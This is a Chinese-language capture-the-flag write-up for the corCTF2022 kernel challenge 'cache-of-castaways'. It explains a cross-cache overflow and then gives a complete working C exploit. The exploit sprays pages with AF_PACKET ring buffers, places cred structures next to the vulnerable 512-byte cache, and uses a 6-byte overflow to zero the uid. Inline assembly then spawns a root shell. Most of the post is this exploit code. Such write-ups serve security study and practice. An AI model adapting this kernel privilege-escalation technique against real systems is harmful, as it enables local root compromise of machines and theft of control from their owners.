【Page-level Heap Fengshui -- Cross-Cache Overflow】corCTF2022-cache-of-castaways

前言

什么叫 Cross Cache 呢?其实就是字面意思,我们知道内核中的大部分结构体都有自己的专属 slab 内存池。那现在我们可以想象一下这个场景,我们拥有一个特定 kmem-cache 的溢出漏洞,那么我们该如何利用呢?

程序分析

启动脚本不用看了,该开的保护都开了。而作者将 config 给了我们,所以我们可以看下部分编译选项。

bash 复制代码
# CONFIG_SLAB is not set
# CONFIG_SLAB_MERGE_DEFAULT is not set
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_MEMCG=y
CONFIG_MEMCG_KMEM=y
# CONFIG_DEBUG_CREDENTIALS is not set

驱动程序单独创建了一个 kmem-cache,而该 kmem-cache 是独立的,不会与其他 kmem-cache 合并,且大小为 512 字节。

ioctl 函数中有增加堆块和修改堆块的功能

修改堆块时,有白给了 6 字节溢出

漏洞利用

上面的堆块都是针对 castaway_cache 的 object,而该 cache 是与其他 cache 隔离的,所以从 slub 层面去考虑,我们会发现无法利用该漏洞。

而我们知道 slub 是从伙伴系统申请的内存,然后在划分成一个一个的 object 去使用。 而伙伴系统的内存是连续的,所以我们可以通过页级堆风水去形成如下内存布局(图片来自wiki):

然后就形成了 cross-cache overflow 啦。

这里 victim object 选择谁呢?6字节我们是可以修改 cred 的 uid 的,所以直接打 cred。

我们可以知道 CONFIG_DEBUG_CREDENTIALS 这个编译选项是没有设置的,所以可以直接溢出到 uid 的低两个字节,但是这是足够的。

其他的见 ctf-wiki 即可,也没啥好说的了,也不想浪费时间去写一些垃圾。

exp:

cpp 复制代码
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <time.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/socket.h>

#define PACKET_VERSION 10
#define PACKET_TX_RING 13

#define PGV_PAGE_NUM 1000

#define CRED_SPRAY_NUM 1066
#define VUL_OBJ_NUM 400
#define VUL_OBJ_SIZE 512

int fd;
int cmd_pipe_req[2], cmd_pipe_reply[2], check_root_pipe[2];
char binsh_str[] = "/bin/sh";
char* shell_args[] = { binsh_str, NULL };
char buf[1];
struct timespec timer = {
        .tv_sec = 23535670,
        .tv_nsec = 0,
};

struct node {
        size_t idx;
        size_t size;
        char* ptr;
};

void add()
{
        ioctl(fd, 0xCAFEBABE, NULL);
}

void edit(size_t idx, size_t size, char* ptr)
{
        struct node n = { .idx = idx, .size = size, .ptr = ptr };
        ioctl(fd, 0xF00DBABE, &n);
}

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void line(char *msg)
{
    printf("\033[34m\033[1m\n[*] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}


struct tpacket_req {
    unsigned int tp_block_size;
    unsigned int tp_block_nr;
    unsigned int tp_frame_size;
    unsigned int tp_frame_nr;
};

enum tpacket_versions {
    TPACKET_V1,
    TPACKET_V2,
    TPACKET_V3,
};

/* each allocation is (size * nr) bytes, aligned to PAGE_SIZE */
struct pgv_page_request {
    int idx;
    int cmd;
    unsigned int size;
    unsigned int nr;
};

enum {
    CMD_ALLOC_PAGE,
    CMD_FREE_PAGE,
    CMD_EXIT,
};


/* create an isolate namespace for pgv */
void unshare_setup(void)
{
    char edit[0x100];
    int tmp_fd;

    unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);

    tmp_fd = open("/proc/self/setgroups", O_WRONLY);
    write(tmp_fd, "deny", strlen("deny"));
    close(tmp_fd);

    tmp_fd = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getuid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);

    tmp_fd = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getgid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);
}

/* create a socket and alloc pages, return the socket fd */
int create_socket_and_alloc_pages(unsigned int size, unsigned int nr)
{
    struct tpacket_req req;
    int socket_fd, version;
    int ret;

    socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
    if (socket_fd < 0) {
        printf("[x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)\n");
        ret = socket_fd;
        goto err_out;
    }

    version = TPACKET_V1;
    ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION,
                     &version, sizeof(version));
    if (ret < 0) {
        printf("[x] failed at setsockopt(PACKET_VERSION)\n");
        goto err_setsockopt;
    }

    memset(&req, 0, sizeof(req));
    req.tp_block_size = size;
    req.tp_block_nr = nr;
    req.tp_frame_size = 0x1000;
    req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;

    ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req));
    if (ret < 0) {
        printf("[x] failed at setsockopt(PACKET_TX_RING)\n");
        goto err_setsockopt;
    }

    return socket_fd;

err_setsockopt:
    close(socket_fd);
err_out:
    return ret;
}

/* parent call it to send command of allocation to child */
int alloc_page(int idx, unsigned int size, unsigned int nr)
{
    struct pgv_page_request req = {
        .idx = idx,
        .cmd = CMD_ALLOC_PAGE,
        .size = size,
        .nr = nr,
    };
    int ret;

    write(cmd_pipe_req[1], &req, sizeof(struct pgv_page_request));
    read(cmd_pipe_reply[0], &ret, sizeof(ret));

    return ret;
}

/* parent call it to send command of freeing to child */
int free_page(int idx)
{
    struct pgv_page_request req = {
        .idx = idx,
        .cmd = CMD_FREE_PAGE,
    };
    int ret;

    write(cmd_pipe_req[1], &req, sizeof(req));
    read(cmd_pipe_reply[0], &ret, sizeof(ret));

    return ret;
}

/* child thread's handler for commands from the pipe */
void spray_cmd_handler(void)
{
    struct pgv_page_request req;
    int socket_fd[PGV_PAGE_NUM];
    int ret;

    /* create an isolate namespace*/
    unshare_setup();

    /* handler request */
    do {
        read(cmd_pipe_req[0], &req, sizeof(req));

        if (req.cmd == CMD_ALLOC_PAGE) {
            ret = create_socket_and_alloc_pages(req.size, req.nr);
            socket_fd[req.idx] = ret;
        } else if (req.cmd == CMD_FREE_PAGE) {
            ret = close(socket_fd[req.idx]);
        } else {
            printf("[x] invalid request: %d\n", req.cmd);
        }

        write(cmd_pipe_reply[1], &ret, sizeof(ret));
    } while (req.cmd != CMD_EXIT);
}


__attribute__((naked)) int __clone(int flags, int (*fn)(void*))
{
        /*
                res = clone(flags, 0, 0, 0, 0, 0)
                if (res == 0) fn();
                else return;
        */
        __asm__ volatile(
        "mov r15, rsi;"
        "xor rsi, rsi;"
        "xor rdx, rdx;"
        "xor r8,  r8;"
        "xor r9,  r9;"
        "xor r10, r10;"
        "mov rax, 56;"
        "syscall;"
        "cmp rax, 0;"
        "je CHILD;"
        "ret;"
        "CHILD:"
        "jmp r15;"
        );
}


int wait_for_root(void* args)
{
        /*
        read(check_root_pipe[0], buf, 1); <== 等待检查信号
        if (getuid() == 0) execve("/bin/sh", args, NULL);
        else return;
        */
        __asm__ volatile(
        "lea rax, [check_root_pipe];"
        "xor rdi, rdi;"
        "mov edi, dword ptr [rax];"
        "mov rsi, buf;"
        "mov rdx, 1;"
        "xor rax, rax;"
        "syscall;"
        "mov rax, 102;"
        "syscall;"
        "cmp rax, 0;"
        "jne failed;"
        "lea rdi, [binsh_str];"
        "lea rsi, [shell_args];"
        "xor rdx, rdx;"
        "mov rax, 59;"
        "syscall;"
        "failed:"
        "lea rdi, [timer];"
        "xor rsi, rsi;"
        "mov rax, 35;"
        "syscall;"
        );
        return 0;
}

int main(int argc, char** argv, char** env)
{
        char buffer[0x1000];
        bind_core(0);
        fd = open("/dev/castaway", O_RDWR);
        if (fd < 0) err_exit("open /dev/castaway");

        pipe(cmd_pipe_req);
        pipe(cmd_pipe_reply);
        pipe(check_root_pipe);
        if (!fork())
        {
                spray_cmd_handler();
                exit(EXIT_SUCCESS);
        }

        info("STEP.I Spray pgv pages");
        for (int i = 0; i < PGV_PAGE_NUM; i++)
                if (alloc_page(i, 0x1000, 1) < 0)
                        err_exit("alloc_page");

        info("STEP.II Free for cred pages");
        for (int i = 1; i < PGV_PAGE_NUM; i += 2) free_page(i);

        info("STEP.III Spray cred to fetch pages");
        for (int i = 0; i < CRED_SPRAY_NUM; i++)
                if (__clone(CLONE_FILES|CLONE_FS|CLONE_VM|CLONE_SIGHAND, wait_for_root) < 0)
                        err_exit("__clone");

        info("STEP.IV Free for vulnerable pages");
        for (int i = 0; i < PGV_PAGE_NUM; i += 2) free_page(i);

        info("STEP.V Triger overflow write 6 bytes");
        memset(buffer, '\0', 0x1000);
        *(uint32_t*)&buffer[VUL_OBJ_SIZE-6] = 1;
        for (int i = 0; i < VUL_OBJ_NUM; i++)
        {
                add();
                edit(i, VUL_OBJ_SIZE, buffer);
        }

        info("CHILD PROCESS CHECK");
        write(check_root_pipe[1], buffer, CRED_SPRAY_NUM);
        sleep(23535670);

        return 0;
}

效果如下:

相关推荐
XiaozaYa1 年前
【setxattr+userfaultfd】SECCON2020-kstack
kernel-pwn
XiaozaYa1 年前
【userfaultfd】2021强网杯notebook
kernel-pwn